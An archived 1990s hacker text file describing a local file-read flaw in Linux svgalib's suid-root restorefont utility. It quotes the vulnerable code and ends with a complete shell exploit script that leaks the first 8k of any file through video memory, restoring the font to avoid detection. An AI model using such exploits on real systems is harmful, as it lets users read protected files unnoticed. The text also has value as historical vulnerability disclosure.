home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / linux_re.asc < prev    next >
Encoding:
Text File  |  2003-06-11  |  3.6 KB  |  81 lines

  1.  
  2.  
  3.                   Linux 'restorefont' Security Holes
  4.                              by FEH Staff
  5.  
  6.    Linux's svgalib utilities, required to be suid root, have a problem in that
  7. they do not revoke suid permissions before reading a file.  This is exploited
  8. in the restorefont utility, but similar bugs exist in other svgalib utilities.
  9. The restorefont utility serves two functions.  First, it will read a font from
  10. a file and write it to the console as the font.  Second, it will read a font
  11. from the console and write it out to a file.  Luckily, the specific bug
  12. in restorefont can only be exploited if someone is at the console, reducing
  13. its overall impact on the security of the system as a whole.
  14.    In writing the utilities, the authors are cognizant of the fact that when
  15. writing out the font, suid permissions must first be given up; it is in fact
  16. commented as such in the code.  However, when reading in a font, the program
  17. is still running with full suid root permissions.  This allows us to read in
  18. any file for the font that root could access (basically, anything).
  19.    The applicable code to read in the file is shown below:
  20.  
  21. #define FONT_SIZE 8192
  22. unsigned char font[FONT_SIZE];
  23.  
  24.         if (argv[1][1] == 'r') {
  25.                 FILE *f;
  26.                 f = fopen(argv[2], "rb");
  27.                 if (f == NULL) {
  28.                         error:
  29.                         perror("restorefont");
  30.                         exit(1);
  31.                 }
  32.                 if(1!=fread(font, FONT_SIZE, 1, f))
  33.                         {
  34.                         if(errno)
  35.                                 goto error;
  36.                         puts("restorefont: input file corrupted.");
  37.                         exit(1);
  38.                         }
  39.                 fclose(f);
  40.  
  41.    We can see from this that the file to be read in has to be at least 8k,
  42. as if it is not, the program will produce an error and exit.  If the file
  43. is at least 8k, the first 8k are read into the buffer, and the program
  44. proceeds to set whatever the contents of the file are to the font:
  45.         vga_disabledriverreport();
  46.         vga_setchipset(VGA);            /* avoid SVGA detection */
  47.         vga_init();
  48.         vga_setmode(G640x350x16);
  49.         vga_puttextfont(font);
  50.         vga_setmode(TEXT);
  51.  
  52.    At this point, the console will now look quite unreadable if you are
  53. reading something other than a font from that file.  But, the data that
  54. is put into the font is left untouched and is readable using the -w option
  55. of restorefont.  We then read the font back from video memory to a new file,
  56. and our job is complete, we have read the first 8k of a file we shouldn't
  57. have had access to.  To prevent detection of having run this, we probably
  58. shouldn't leave an unreadable font on the screen, so we save and then restore
  59. the original font before reading from the file.
  60.     The complete exploit is shown below:
  61.  
  62.                    Program: restorefont, a svgalib utility
  63. Affected Operating Systems: linux
  64.               Requirements: logged in at console
  65.        Security Compromise: user can read first 8k of any file of at least
  66.                             8k in size on local filesystems
  67.                   Synopsis: restorefont reads a font file while suid root,
  68.                             writing it to video memory as the current vga
  69.                             font; anyone at console can read the current
  70.                             font to a file, allowing you to use video memory
  71.                             as an 8k file buffer.
  72.  
  73. rfbug.sh:
  74. #!/bin/sh
  75. restorefont -w /tmp/deffont.tmp
  76. restorefont -r $1
  77. restorefont -w $2
  78. restorefont -r /tmp/deffont.tmp
  79. rm -f /tmp/deffont.tmp
  80.  
  81.